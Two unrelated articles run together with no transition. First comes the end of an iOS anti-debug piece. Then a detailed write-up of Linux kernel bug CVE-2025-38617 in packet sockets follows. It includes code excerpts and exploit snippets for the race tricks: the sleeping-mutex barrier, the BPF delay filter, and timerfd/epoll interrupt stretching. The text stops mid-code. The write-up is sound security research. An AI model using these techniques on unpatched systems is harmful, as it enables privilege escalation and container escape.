The reason was memory pressure. Instead of crashing directly through abort() or access violations, the app pushed memory usage high enough to trigger a jetsam condition. On iOS, jetsam is a kernel mechanism that kills processes when the system is under memory pressure or when an app exceeds its memory limits.

Because the system performs the termination, there is no normal crash log. You only get a jetsam record, and the anti-debug detection logic does not show up in any backtrace.

In this case, this behavior was combined with other checks such as jailbreak detection and tracing, which removes the usual approach of following a crash to locate the check.

Technique: Resource exhaustion to trigger jetsam

• Allocate excessive memory to force OS-level termination

• Avoid generating application crash logs

• Leave only system-level jetsam records

6. The App That Kept Checking

Some apps pass the initial checks but still fail later.

In these cases, detection continues in the background and is enforced with delay. When a check fails, the app may record the state and only terminate after a timer elapses. That delay makes it harder to link the crash to the original trigger.

There is often a periodic task acting as a heartbeat. It wakes up at fixed intervals and re-runs parts of the detection logic, so passing checks once does not mean you are in the clear.

This setup makes behavior less predictable. Failures can happen later, without a clear signal of what caused them.

Technique: Continuous detection with delayed enforcement

• Record tamper state and trigger crashes after a delay

• Use timers to decouple detection from enforcement

• Run periodic heartbeat tasks to re-check state

• Re-trigger enforcement even after initial checks pass

Conclusion

Taken together, these examples show how things have changed. What used to be a single check or a simple ptrace() call is now a combination of techniques. Environment checks happen early, debugger detection is enforced at runtime, crash logs are made useless, and in some cases removed entirely through jetsam. On top of that, integrity checks and timed enforcement add another layer that keeps running after launch.

None of these techniques are especially complex on their own. The difficulty comes from how they are combined. You are not dealing with one mechanism, but a system where each part covers gaps left by the others.

For readers who are familiar with protection systems on Windows (anti-cheat, anti-debug, anti-tampering, etc.), you may wonder why they don’t use more aggressive techniques such as kernel level drivers and code injection. The answer is that iOS has a different security model and it does not allow kernel extensions or unsigned code execution.

• Introduction

• Background

  • Packet Sockets

  • Ring Buffers and TPACKET_V3

  • Extended Attributes and simple_xattr

  • Slab Allocator vs Page Allocator

  • Kernel Heap Mitigations

• The Vulnerability

  • The Conditional Zeroing Bug

  • The Race Window and UAF

• The Key Insight: Sleeping Mutex Holders Stretch Race Windows

• The Exploit

  • Stage 0: Winning the Races

  • Stage 1: Page Overflow Primitive (via xattr corruption)

  • Stage 2: Heap Read/Write via pgv Overlap

  • Stage 3: Arbitrary Page Read/Write via pgv Overlap

  • Stage 4: KASLR Bypass via Pipe Buffer

  • Stage 5: Privilege Escalation via Syscall Patching

• The Fix

• Takeaways

Introduction

CVE-2025-38617 is a use-after-free vulnerability in the Linux kernel’s packet socket subsystem, caused by a race condition between packet_set_ring() and packet_notifier(). The bug has existed since Linux 2.6.12 (2005) and was fixed in kernel version 6.16. It allows an unprivileged local attacker — needing only CAP_NET_RAW, obtainable through user namespaces — to achieve full privilege escalation and container escape.

The vulnerability and exploits were discovered and developed by Quang Le, a member of Calif, and submitted as part of Google’s kernelCTF program. Calif provides this complimentary write-up to offer additional background for educational purposes.

This article analyzes the vulnerability, the exploit submission, and the two-line fix. The exploit is notable for its sophistication: it defeats modern kernel mitigations including CONFIG_RANDOM_KMALLOC_CACHES and CONFIG_SLAB_VIRTUAL, builds exploit primitives through a chain of four increasingly powerful stages, and uses creative timing techniques to win two separate race conditions deterministically.

But perhaps the most interesting aspect is the bug-finding heuristic it demonstrates: when a mutex holder sleeps, the time window between lock release and the next critical operation becomes predictable and stretchable, turning otherwise unexploitable code sequences into reliable race conditions.

• Affected versions: Linux 2.6.12 through 6.15

• Affected component: net/packet/af_packet.c (packet socket subsystem)

• Root cause: Race condition leading to use-after-free

• Required capability: CAP_NET_RAW (available via unprivileged user namespaces)

• Fix commit: 01d3c8417b9c

Background

Packet Sockets

Linux packet sockets (AF_PACKET) provide raw access to network interfaces at the link layer. They’re used by tools like tcpdump and wireshark to capture network traffic. When a packet arrives on a network interface, the kernel delivers a copy to any packet socket “hooked” to that interface through a registered protocol hook function.

Packet sockets have a lifecycle tied to network interface state:

• When the interface goes UP, the packet socket’s protocol hook is registered, and the socket enters the PACKET_SOCK_RUNNING state. It can now receive packets.

• When the interface goes DOWN, the hook is unregistered, and the socket stops receiving packets.

These transitions are managed by packet_notifier(), which handles NETDEV_UP and NETDEV_DOWN events.

Ring Buffers and TPACKET_V3

For high-performance packet processing, packet sockets support memory-mapped ring buffers. Instead of copying each packet through recvmsg(), the kernel writes packets directly into a shared memory region that userspace can mmap(). The ring buffer is configured through setsockopt() with PACKET_RX_RING (for receiving) or PACKET_TX_RING (for transmitting), which internally calls packet_set_ring().

The ring buffer consists of multiple “blocks,” each a contiguous allocation of kernel pages. These blocks are tracked by an array of struct pgv pointers:

struct pgv {
    char *buffer;  // pointer to one block of pages
};

The alloc_pg_vec() function allocates this array and each block:

static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
    unsigned int block_nr = req->tp_block_nr;
    struct pgv *pg_vec;
    pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
    for (i = 0; i < block_nr; i++) {
        pg_vec[i].buffer = alloc_one_pg_vec_page(order);
    }
    return pg_vec;
}

How userspace accesses ring buffer blocks: mmap(). When userspace calls mmap() on a packet socket file descriptor, the kernel’s packet_mmap() handler walks the pgv array and maps each block’s pages into the calling process’s virtual address space as a single contiguous region. Block 0’s pages appear first, followed by block 1’s pages, and so on. The result is that userspace gets a pointer to a memory region where offset 0 is the start of block 0, offset block_size is the start of block 1, etc. Reads/writes to this region go directly to the kernel pages backing the ring buffer, with no syscall overhead.

This mapping is based on what pgv[N].buffer points to at mmap time. The kernel resolves each pgv entry to its underlying physical page and maps that page into userspace. This has a critical implication for the exploit: if an attacker can overwrite a pgv[N].buffer pointer to an arbitrary kernel address and then call mmap(), the kernel will map whatever page lives at that address into userspace — giving the attacker direct read/write access to arbitrary kernel memory. This is exactly how Stages 2 and 3 escalate from a single corrupted pointer to full arbitrary page read/write.

TPACKET_V3, the most recent version of the packet socket ring buffer protocol, adds a block descriptor structure (tpacket_kbdq_core) that tracks which block is currently active, where the next packet header should be written, and when to retire (close) a full block and move to the next. Key fields include:

• pkbdq: pointer to the pgv array (the ring buffer itself)

• kactive_blk_num: index of the currently active block

• nxt_offset: pointer to where the next packet will be written within the current block

• kblk_size: size of each block

• knum_blocks: total number of blocks

• blk_sizeof_priv: size of the per-block private area

Each block’s memory layout starts with a tpacket_block_desc header (48 bytes after alignment), followed by a private area of blk_sizeof_priv bytes, and then the actual packet data region. The private area is configured by userspace via the tp_sizeof_priv field of the tpacket_req3 structure passed to setsockopt(PACKET_RX_RING). The kernel reserves this space at the start of each block and never writes packet data into it — it exists so that userspace applications can store their own per-block metadata (e.g., custom timestamps or statistics). The packet write cursor (nxt_offset) is initialized to block_start + 48 + ALIGN(blk_sizeof_priv, 8), skipping past both the header and the private area. As we’ll see, the exploit sets tp_sizeof_priv = 16248 to position the write cursor precisely where it needs to overflow into an adjacent object.

When a packet arrives, tpacket_rcv() is called, which looks up the current block via pkbdq[kactive_blk_num].buffer, finds the write position (nxt_offset), copies the packet data, and writes metadata headers. This is the function that will access freed memory in our vulnerability.

Extended Attributes and simple_xattr

Extended attributes (xattrs) are name-value pairs that can be attached to files and directories, providing metadata beyond the standard file attributes (permissions, timestamps, etc.). They’re organized into namespaces — security.* for SELinux labels and capabilities, user.* for arbitrary user data, trusted.* for privileged metadata, and so on. Userspace interacts with them through three syscalls: setxattr() to create or update, getxattr() to read, and removexattr() to delete.

Most filesystems store xattrs on disk, but in-memory filesystems like tmpfs have no disk backing. Instead, tmpfs stores xattrs entirely in kernel memory using the simple_xattr infrastructure. Each xattr is represented by a struct simple_xattr. On Linux 6.6 (which the exploit targets), xattrs are organized in a red-black tree:

struct rb_node {
    unsigned long  __rb_parent_color;  // parent pointer + color bit
    struct rb_node *rb_right;
    struct rb_node *rb_left;
};  // 24 bytes

struct simple_xattr {
    struct rb_node rb_node;  // offset 0,  size 24 (tree node pointers)
    char *name;              // offset 24, size 8
    size_t size;             // offset 32, size 8  ← overflow target
    char value[];            // offset 40          (inline value)
};  // total header: 40 bytes

The rb_node at the start of the struct contains three pointers: __rb_parent_color (the parent pointer with the color bit encoded in the lowest bit), rb_right, and rb_left. These point to other simple_xattr nodes in the same red-black tree.

When userspace calls setxattr(”security.foo”, value, size) on a tmpfs file, the kernel allocates a simple_xattr, copies the name and value, and inserts it into the inode’s collection. When getxattr() is called, the kernel traverses the collection comparing names, and when it finds a match, copies size bytes from value[] to the userspace buffer. If the userspace buffer is smaller than size, the kernel returns ERANGE — a behavior the exploit uses to detect corruption.

The simple_xattr is an ideal exploitation target for several reasons:

1. Controlled allocation size. The kmalloc(header + value_size) allocation can be steered to any slab cache or page order by choosing the right value_size. With value_size = 8192, the total allocation (40 + 8,192 = 8,232 bytes) is served from order-2 pages (16 KB).

2. Controlled content. The value[] data is fully attacker-controlled, and the name string is chosen by the attacker.

3. Readable and writable via syscalls. getxattr() reads size bytes starting from value[] — if size is corrupted to a larger value, the kernel reads past the object’s actual data, leaking adjacent heap memory. setxattr() can update the value. removexattr() frees the object.

4. Address leaking via node pointers. The rb_node pointers contain kernel addresses of neighboring nodes in the tree. If an attacker can read these pointers, they learn the kernel addresses of other simple_xattr objects — the starting point for building further primitives.

5. Sprayable. Creating thousands of xattrs on a single tmpfs file is trivial — just call setxattr() in a loop with unique names (”security.groom_0”, “security.groom_1”, ...). The exploit sprays 2,048 of them to fill the heap predictably.

Slab Allocator vs Page Allocator

The Linux kernel has two layers of memory allocation, and understanding the boundary between them is essential to this exploit.

The page allocator (also called the buddy allocator) is the bottom layer. It manages physical memory in power-of-2 page chunks: order-0 (4 KB), order-1 (8 KB), order-2 (16 KB), and so on. Every allocation is page-aligned. When pages are freed, adjacent free pages of the same order merge (”buddy”) into higher-order blocks. Crucially, the page allocator has no segregation by type — all order-2 pages come from the same freelist. A freed order-2 page from a simple_xattr value can be reclaimed by an order-2 pgv array allocation; the page allocator doesn’t know or care what the pages are used for.

The slab allocator (SLUB on modern kernels) sits on top of the page allocator. It requests pages from the buddy allocator and carves them into fixed-size slots for small objects. It has generic size classes (kmalloc-8, kmalloc-16, ... kmalloc-8k) and dedicated caches for specific struct types. Unlike the page allocator, slab caches are segregated — a freed kmalloc-192 slot returns to its specific cache, and can only be reclaimed by another kmalloc-192 allocation.

This boundary is the reason the exploit forces certain allocations to exceed kmalloc-8k (the largest generic slab bucket). An 8,200-byte pgv array can’t fit in kmalloc-8k, so the allocator falls through to the page allocator, where the exploit’s heap grooming controls which freed pages get reclaimed. If the allocation stayed within the slab, freed xattr pages and pgv arrays would live in completely different caches with no way to reclaim each other.

Kernel Heap Mitigations

The kernelCTF mitigation-v4-6.6 environment enables two modern heap mitigations that make traditional cross-cache attacks significantly harder.

CONFIG_RANDOM_KMALLOC_CACHES introduces 16 separate slab caches for each kmalloc size class (e.g., kmalloc-rnd-01-32, kmalloc-rnd-02-32, ... kmalloc-rnd-16-32). When the kernel calls kmalloc(), the allocation is routed to one of these 16 caches based on a hash of the call site address combined with a per-boot random seed. The goal is to prevent an attacker from predicting which cache an allocation lands in, breaking the classic exploit pattern of freeing object A from cache X and reclaiming it with object B from the same cache X. Since A and B come from different call sites, they’ll likely land in different random caches and the reclamation fails.

The bypass: if two allocations come from the same call site (the same line of source code that calls kmalloc/kcalloc), they always hash to the same random cache, regardless of the boot seed. The exploit exploits this by using alloc_pg_vec() — the same function, the same kcalloc() call site — for both the victim ring buffer and the reclamation ring buffer. Both are pgv arrays allocated via kcalloc(block_nr, sizeof(struct pgv), ...) inside alloc_pg_vec(), so they’re guaranteed to land in the same random cache.

CONFIG_SLAB_VIRTUAL (also known as “virtual slab”) ensures that the virtual address range used for one slab cache type is never reused for a different slab cache type. In a normal kernel, freed slab pages can be returned to the page allocator and reallocated to a completely different slab cache, allowing cross-cache attacks. With CONFIG_SLAB_VIRTUAL, each cache gets a dedicated virtual address range — an allocation from kmalloc-64 will always map to a kmalloc-64 virtual address, even after being freed and reallocated. If an attacker frees a kmalloc-64 object and tries to reclaim it with a kmalloc-128 object, the virtual addresses won’t overlap.

The bypass is the same principle: by reclaiming freed ring buffer memory with another ring buffer (same object type, same slab cache), the virtual addresses remain valid. The exploit doesn’t need cross-cache attacks — it uses ring buffers to reclaim ring buffers throughout.

These mitigations force the exploit author into a disciplined pattern: every reclamation must use the same object type from the same call site. As we’ll see, this constraint shapes the entire exploit architecture — from using TX ring buffers to reclaim RX ring buffers, to spraying pgv arrays to reclaim other pgv arrays.

The Vulnerability

The Conditional Zeroing Bug

The root cause is a logic error in packet_set_ring(). When reconfiguring a ring buffer, this function needs to temporarily unhook the packet socket from the network interface to ensure no packets arrive while the ring buffer is being swapped. Here’s the relevant code:

static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
        int closing, int tx_ring)
{
    // ...
    spin_lock(&po->bind_lock);
    was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING);
    num = po->num;
    if (was_running) {
        WRITE_ONCE(po->num, 0);    // Only zeroed if was_running!
        __unregister_prot_hook(sk, false);
    }
    spin_unlock(&po->bind_lock);

    synchronize_net();

    mutex_lock(&po->pg_vec_lock);
    // ... swap ring buffers, free old ring ...
    mutex_unlock(&po->pg_vec_lock);

    spin_lock(&po->bind_lock);
    if (was_running) {
        WRITE_ONCE(po->num, num);   // Only restored if was_running!
        register_prot_hook(sk);
    }
    spin_unlock(&po->bind_lock);
}

The critical issue is the if (was_running) conditional around WRITE_ONCE(po->num, 0). The po->num field determines the protocol number the socket is registered for. When it’s non-zero, the NETDEV_UP handler in packet_notifier() will re-register the protocol hook:

case NETDEV_UP:
    if (dev->ifindex == po->ifindex) {
        spin_lock(&po->bind_lock);
        if (po->num)                    // <-- checks po->num
            register_prot_hook(sk);     // re-hooks the socket!
        spin_unlock(&po->bind_lock);
    }
    break;

The bug: If the packet socket is not currently running when packet_set_ring() is called, po->num retains its original non-zero value. After spin_unlock(&po->bind_lock), there is a window where packet_set_ring() has released the bind lock but has not yet finished reconfiguring the ring buffer. If a NETDEV_UP event arrives during this window, packet_notifier() sees po->num != 0 and calls register_prot_hook(), re-hooking the socket to the network interface. Now the socket can receive packets while packet_set_ring() is in the middle of freeing and replacing the ring buffer.

The Race Window and UAF

The exploit triggers the vulnerability through a two-race sequence:

Race 1: packet_set_ring() vs packet_notifier()

The attacker ensures the packet socket is bound to a network interface but not running (the interface is DOWN). Then:

1. Call packet_set_ring() to free the existing RX ring buffer

2. After packet_set_ring() releases bind_lock but before it acquires pg_vec_lock, bring the interface UP

3. packet_notifier() sees po->num != 0, re-registers the protocol hook

4. The socket is now “running” and can receive packets, even though packet_set_ring() hasn’t finished

Race 2: packet_set_ring() vs tpacket_rcv()

Now that the hook is registered, sending a packet to the interface triggers tpacket_rcv(). This function reads the ring buffer metadata (prb_bdqc) which still points to the old ring buffer. Meanwhile, packet_set_ring() proceeds to free that same ring buffer inside the pg_vec_lock critical section:

mutex_lock(&po->pg_vec_lock);
    swap(rb->pg_vec, pg_vec);     // pg_vec now holds old ring buffer
    // ...
mutex_unlock(&po->pg_vec_lock);
// ...
free_pg_vec(pg_vec, order, req->tp_block_nr);  // free the old ring!

If tpacket_rcv() accesses the ring buffer after it has been freed, we have a use-after-free. The TPACKET_V3 prb_bdqc structure is particularly useful for exploitation because its pointers to the ring buffer (pkbdq, nxt_offset, pkblk_start, etc.) are not zeroed when the ring is freed. The freed pg_vec array has its individual buffer pointers set to NULL by free_pg_vec(), but the prb_bdqc still holds the stale addresses.

The Key Insight: Sleeping Mutex Holders Stretch Race Windows

The most important takeaway from this exploit — and a generalizable bug-finding heuristic for kernel security researchers — is this: if you can make a mutex holder sleep, you can stretch the time window between any lock release and subsequent lock acquisition to an arbitrary duration.

In packet_set_ring(), there’s a critical gap between releasing bind_lock and acquiring pg_vec_lock:

spin_unlock(&po->bind_lock);    // Race 1 window opens
synchronize_net();
mutex_lock(&po->pg_vec_lock);   // Race 1 window closes

Normally, synchronize_net() completes quickly and mutex_lock() succeeds immediately, making this window very tight. But the pg_vec_lock mutex is also acquired by tpacket_snd():

static int tpacket_snd(struct packet_sock *po, struct msghdr *msg)
{
    mutex_lock(&po->pg_vec_lock);       // holds the mutex
    // ...
    timeo = wait_for_completion_interruptible_timeout(
        &po->skb_completion, timeo);    // SLEEPS while holding it!
    // ...
    mutex_unlock(&po->pg_vec_lock);
}

The exploit pre-acquires pg_vec_lock by calling sendmsg() on the victim socket’s TX ring in a way that reaches wait_for_completion_interruptible_timeout(). This puts the thread to sleep for a configurable duration (set via SO_SNDTIMEO) while holding the mutex. Now packet_set_ring() blocks at mutex_lock(&po->pg_vec_lock) for a predictable, attacker-controlled period — in this case, one full second.

This transforms a nanosecond-scale race window into a one-second window, making the first race essentially deterministic: there is ample time to bring the network interface UP and register the protocol hook.

This pattern generalizes. When auditing kernel code for race conditions, look for:

1. A sequence where lock A is released, work happens, then lock B is acquired

2. A separate code path that holds lock B and can sleep (mutexes allow sleeping; spinlocks do not)

3. A way to trigger that sleeping code path before the racing code path

If all three conditions are met, the race window between releasing lock A and acquiring lock B becomes arbitrarily stretchable. Code that appeared “safe enough” because the window was tiny becomes trivially exploitable.

The Exploit

The exploit targets the kernelCTF mitigation-v4-6.6 environment — Google’s Container-Optimized OS (COS) with additional kernel security mitigations enabled, running Linux 6.6. It achieves full privilege escalation and container escape. It builds exploit primitives through four stages, each more powerful than the last, culminating in arbitrary kernel memory read/write and shellcode execution.

Stage 0: Winning the Races

First Race: Deterministic via Mutex Barrier

The “first race” isn’t really a traditional race where two threads sprint and one hopes to win by luck. The exploit eliminates the randomness entirely by converting it into a deterministic sequence using a mutex as a barrier.

How tpacket_snd() holds pg_vec_lock while sleeping

The exploit needs a way to hold the pg_vec_lock mutex for a controlled duration. It finds this in tpacket_snd(), the kernel’s TX path for packet sockets. Here’s the relevant code path:

static int tpacket_snd(struct packet_sock *po, struct msghdr *msg)
{
    bool need_wait = !(msg->msg_flags & MSG_DONTWAIT);  // [1] controllable

    mutex_lock(&po->pg_vec_lock);                        // [2] grab the mutex

    // ... validate device is UP, etc ...

    do {
        ph = packet_current_frame(po, &po->tx_ring, TP_STATUS_SEND_REQUEST);
        if (unlikely(ph == NULL)) {
            if (need_wait && skb) {                      // [3] need skb != NULL
                timeo = sock_sndtimeo(&po->sk, ...);    // from SO_SNDTIMEO
                timeo = wait_for_completion_interruptible_timeout(
                    &po->skb_completion, timeo);         // [4] SLEEP here!
                if (timeo <= 0) {
                    err = !timeo ? -ETIMEDOUT : -ERESTARTSYS;
                    goto out_put;
                }
            }
            continue;
        }

        skb = NULL;
        tp_len = tpacket_parse_header(po, ph, ...);     // [5] read from TX ring
        if (tp_len < 0) goto tpacket_error;

        skb = sock_alloc_send_skb(&po->sk, ...);        // [6] after this, skb != NULL

        tp_len = tpacket_fill_skb(po, skb, ...);        // [7] can force tp_len < 0
        if (unlikely(tp_len < 0)) {
tpacket_error:
            if (packet_sock_flag(po, PACKET_SOCK_TP_LOSS)) {  // [8]
                __packet_set_status(po, ph, TP_STATUS_AVAILABLE);
                packet_increment_head(&po->tx_ring);
                kfree_skb(skb);
                continue;                                // [9] loop again!
            }
        }
        // ...
    } while (...);

out:
    mutex_unlock(&po->pg_vec_lock);                      // [10] finally release
}

The exploit navigates this code path as follows:

1. Call sendmsg() without MSG_DONTWAIT, so need_wait = true.

2. The mutex is acquired at [2].

3. First loop iteration: a TX frame is found (the exploit pre-wrote TP_STATUS_SEND_REQUEST via mmap()). At [5], tpacket_parse_header() reads tp_len from the mmapped ring — the exploit set tp_len = 1, which is too small, causing tpacket_fill_skb() at [7] to return a negative error. But first, sock_alloc_send_skb() at [6] sets skb != NULL.

4. The PACKET_SOCK_TP_LOSS flag is set (via setsockopt(PACKET_LOSS)), so we hit [8] → [9] and continue back to the top of the loop.

5. Second loop iteration: no more frames with TP_STATUS_SEND_REQUEST, so ph == NULL. Now need_wait == true and skb != NULL (from the first iteration’s allocation), so we enter [3] → [4]: wait_for_completion_interruptible_timeout(). The thread sleeps for SO_SNDTIMEO duration (1 second) while holding pg_vec_lock.

There’s a subtlety: sock_alloc_send_skb() checks sk->sk_err and returns NULL if it’s set. When the interface goes DOWN, packet_notifier() sets sk->sk_err = ENETDOWN. Since the exploit needs the interface to be DOWN later for the bug trigger, it must ensure the interface is still UP when tpacket_snd() runs. The ordering matters.

The deterministic sequence

Setup: the dummy interface and victim socket. The exploit runs inside a user namespace (for CAP_NET_RAW) and a network namespace (for a controlled network environment). It creates a dummy network interface named “pwn_dummy” via netlink (RTM_NEWLINK with IFLA_INFO_KIND = “dummy”), sets its MTU to IPV6_MIN_MTU - 1 (1279 bytes), and brings it UP via ioctl(SIOCSIFFLAGS, IFF_UP | IFF_RUNNING). A dummy interface is ideal because it’s a pure software device — packets sent to it are immediately looped back to the protocol handler, so the exploit doesn’t need any real hardware or network traffic.

The exploit then creates the victim packet socket — an AF_PACKET/SOCK_RAW socket bound to this dummy interface with sll_protocol = htons(ETH_P_ALL) (receive all protocol types). The socket is configured with TPACKET_V3 ring buffers (both TX and RX), PACKET_LOSS enabled, SO_SNDTIMEO set to 1 second, PACKET_RESERVE set to 38, and a 700-instruction BPF filter attached. The RX ring is the one that will be freed during the race; the TX ring provides the frame needed for the tpacket_snd() sleep trick. At this point, the victim socket is UP and actively receiving packets — the starting state needed for the exploit.

Worker threads. The exploit creates three worker threads:

• pg_vec_lock_thread (CPU 0, nice = 19 — lowest priority): Holds the mutex

• pg_vec_buffer_thread (CPU 0, normal priority): Runs packet_set_ring() to free the ring buffer

• tpacket_rcv_thread (CPU 1): Sends the packet that triggers the UAF

The pg_vec_buffer_thread has higher priority than pg_vec_lock_thread on the same CPU. This is critical for the second race’s timing. Both threads are pinned to CPU 0, so only one can run at a time. When tpacket_snd() in pg_vec_lock_thread calls mutex_unlock(&po->pg_vec_lock), the CFS (Completely Fair Scheduler) — Linux’s default process scheduler, which allocates CPU time proportionally based on priority — sees that the woken pg_vec_buffer_thread (nice=0) has higher priority than the running pg_vec_lock_thread (nice=19, the lowest possible priority) and immediately preempts it. This means packet_set_ring() resumes without delay — it frees the old ring buffer pages, and the same thread immediately reclaims them with alloc_pages(). This matters because over on CPU 1, tpacket_rcv() is frozen by the timer interrupt, and that freeze has a finite duration. The entire free-and-reclaim sequence on CPU 0 must complete before the interrupt returns on CPU 1. If pg_vec_lock_thread continued running after the mutex release (burning CPU 0 time on irrelevant cleanup), the reclamation might not finish in time — causing a NULL dereference crash instead of a controlled UAF.

The orchestration proceeds step by step:

Step 1: Lock the mutex. Main thread sends work to pg_vec_lock_thread, which calls sendmsg() → enters tpacket_snd() → acquires po->pg_vec_lock → reaches wait_for_completion_interruptible_timeout() → sleeps. Main thread polls /proc/[tid]/stat until the thread state is S (sleeping), then records pg_vec_lock_acquire_time via clock_gettime(CLOCK_MONOTONIC).

Step 2: Bring the interface DOWN. Main thread calls ioctl(SIOCSIFFLAGS) to set the interface DOWN. This triggers packet_notifier() with NETDEV_DOWN, which unhooks the victim socket (sets PACKET_SOCK_RUNNING = false). The socket is no longer running, but po->num is still non-zero.

Step 3: Trigger packet_set_ring(). Main thread sends work to pg_vec_buffer_thread, which calls setsockopt(PACKET_RX_RING, {tp_block_nr=0}). This enters the free path of packet_set_ring():

• spin_lock(&po->bind_lock)

• was_running = false (interface is DOWN)

• num = po->num (non-zero — this is the bug)

• if (was_running) is false → po->num is NOT zeroed

• spin_unlock(&po->bind_lock) — the race window opens

• synchronize_net() — brief wait

• mutex_lock(&po->pg_vec_lock) — BLOCKS because pg_vec_lock_thread holds it

Main thread polls /proc/[tid]/stat until pg_vec_buffer_thread is sleeping. This confirms that packet_set_ring() has passed the vulnerable bind_lock section and is now blocked on the mutex.

Step 4: Bring the interface UP. Main thread calls ioctl(SIOCSIFFLAGS) to set the interface UP. This triggers packet_notifier() with NETDEV_UP:

case NETDEV_UP:
    spin_lock(&po->bind_lock);
    if (po->num)                  // non-zero — the bug!
        register_prot_hook(sk);   // re-hooks the socket!
    spin_unlock(&po->bind_lock);

The first race is won. The victim socket is now hooked to the interface again — it will receive packets via tpacket_rcv() — but packet_set_ring() is frozen at the mutex, waiting to free the old ring buffer. There was no race to win; the exploit verified each state transition before proceeding to the next.

Second Race: Probabilistic but Enhanced with Three Timing Mechanisms

After winning the first race, the exploit has achieved this state:

• The victim socket is hooked to the network interface (receiving packets via tpacket_rcv())

• packet_set_ring() is frozen, blocked on po->pg_vec_lock held by the sleeping pg_vec_lock_thread

• The pg_vec_lock_thread will wake up after exactly 1 second (the SO_SNDTIMEO timeout)

When the timeout expires and pg_vec_lock_thread releases the mutex, packet_set_ring() resumes. Inside the pg_vec_lock critical section, it does two things: (1) swaps rb->pg_vec to NULL, and (2) changes the protocol hook function from tpacket_rcv to packet_rcv. After releasing the mutex, it calls free_pg_vec() to free the old ring buffer pages.

This hook change is what makes the second race necessary. Once packet_set_ring() switches the hook to packet_rcv, any new packet arriving at the socket will be dispatched to packet_rcv() instead of tpacket_rcv() — and packet_rcv() doesn’t use the ring buffer at all, so there’s no UAF. The exploit cannot simply wait until the ring buffer is freed and then send a packet; by that point, the hook has already been changed.

The only way to get tpacket_rcv() to access freed memory is to have it already dispatched before the hook is changed. The network stack resolves the hook function pointer at packet dispatch time. If a packet is sent to the interface and tpacket_rcv() is called before packet_set_ring() swaps the hook, then tpacket_rcv() will continue executing its code path — including accessing the ring buffer — regardless of what packet_set_ring() does afterward. The function is already on the call stack; the hook pointer swap only affects future packets.

So the second race is about getting tpacket_rcv() to be dispatched before packet_set_ring() changes the hook, and then having tpacket_rcv() dereference the ring buffer pages after packet_set_ring() has freed them. The exploit uses three independent timing mechanisms stacked together to hit this window.

Mechanism 1: Calculated Sleep

The exploit knows exactly when the mutex will be released:

pg_vec_lock_release_time = pg_vec_lock_acquire_time + sndtimeo  // +1 second

The tpacket_rcv_thread receives this timestamp and sleeps until just before the release:

// In tpacket_rcv_thread_fn:
struct timespec sleep_duration = timespec_sub(
    remaining_time_before_pg_vec_lock_release,
    work->decrease_tpacket_rcv_thread_sleep_time  // 5000 ns = 5μs
);
syscall(SYS_nanosleep, &sleep_duration, NULL);
syscall(SYS_sendmsg, trigger_sendmsg_packet_socket, work->msg, 0);

The thread wakes up ~5 microseconds before the mutex releases and immediately sends the packet via packet_sendmsg_spkt() — chosen because it has the shortest code path from sendmsg() to dev_queue_xmit() to the protocol hook. The packet traverses the network stack and arrives at tpacket_rcv() on the victim socket.

Mechanism 2: BPF Filter Delay

A 700-instruction classic BPF filter is attached to the victim socket:

struct sock_filter filter[700];
for (int i = 0; i < 699; i++) {
    filter[i].code = BPF_LD | BPF_IMM;
    filter[i].k = 0xcafebabe;          // load immediate — cheap but not free
}
filter[699].code = BPF_RET | BPF_K;
filter[699].k = sizeof(size_t);        // return truncated length = 8 bytes

When the packet arrives and tpacket_rcv() is invoked, it calls run_filter() early in its execution — before it ever touches pkc->pkbdq or any ring buffer pointer. The filter executes all 700 instructions, burning CPU time. During this window, CPU 0 is free to run packet_set_ring(), free the ring buffer, and reclaim it. The final BPF_RET instruction also serves a second purpose: it truncates the packet’s “snapshot length” to exactly 8 bytes (or sizeof(void *)) — the precise number of bytes the exploit wants to overwrite in the overflow target.

Mechanism 3: Timer Interrupt Lengthening (Jann Horn’s Technique)

The BPF filter alone buys only microseconds. The exploit needs to pause tpacket_rcv() on CPU 1 for much longer — long enough for packet_set_ring() on CPU 0 to not only free the ring buffer but also for the reclamation allocation to complete. This is where the timer interrupt technique comes in.

Background: timerfd, epoll, and wait queues. The Linux timerfd_create() syscall creates a file descriptor that delivers timer expiration notifications. Internally, the kernel allocates a timerfd_ctx structure containing an hrtimer (high-resolution timer) and a wait_queue_head (wqh). When the timer fires, the kernel’s hrtimer interrupt handler calls timerfd_tmrproc(), which wakes up all waiters on wqh.

The epoll subsystem is how waiters get added to wqh. When you call epoll_ctl(EPOLL_CTL_ADD) to monitor a timerfd, the kernel calls ep_ptable_queue_proc(), which allocates a wait_queue_entry and adds it to the timerfd’s wqh via add_wait_queue(). Each epoll_ctl() call on a different file descriptor pointing to the same timerfd adds one more entry to this wait queue. So the key insight is: a single timerfd can accumulate an arbitrarily large wait queue by monitoring many dup()’d copies of it through epoll.

When the timer fires, the interrupt handler must walk the entire wait queue under spin_lock_irqsave — meaning interrupts are disabled and the CPU cannot be preempted until every entry is processed. This turns the wait queue length into a controllable CPU stall duration.

The file descriptor table constraint. In the kernelCTF environment, each process is limited to 4,096 file descriptors (RLIMIT_NOFILE). The exploit first raises rlim_cur to rlim_max (4,096) via setrlimit(). Even so, 4,096 wait queue entries isn’t enough to stall the CPU for the required duration. The exploit works around this by creating 180 threads, each with its own private file descriptor table:

Setup phase — During initialization, the exploit creates 180 timerfd_waitlist_thread threads. Each thread:

1. Is pinned to CPU 1 (same CPU as tpacket_rcv_thread)

2. Calls unshare(CLONE_FILES) to get its own private file descriptor table — this is the key trick that multiplies the FD limit, since each thread now has its own independent table of 4,096 slots

3. Closes stdin, stdout, and stderr to free up three more slots

4. Creates an epollfd (uses one slot)

5. Calls dup(timerfd) in a loop until the FD table is full — the original timerfd (created by the main thread before unshare) is still accessible, and each dup() creates a new file descriptor pointing to the same underlying timerfd_ctx

6. Calls epoll_ctl(EPOLL_CTL_ADD) for each duplicated FD, adding a wait queue entry to the timerfd’s wqh for every one

Each epoll_ctl() call adds a wait_queue_entry to the timerfd’s internal wait queue via ep_ptable_queue_proc() → add_wait_queue(). With 180 threads × ~4,000 FDs each, the timerfd’s wait queue accumulates roughly 720,000 entries.

Firing phase — The exploit arms the timer from CPU 1 (important — timerfd_settime() binds the hrtimer to the calling CPU):

struct itimerspec settime_value = {};
settime_value.it_value = timespec_add(pg_vec_lock_release_time,
                                       timer_interrupt_amplitude);  // +150μs
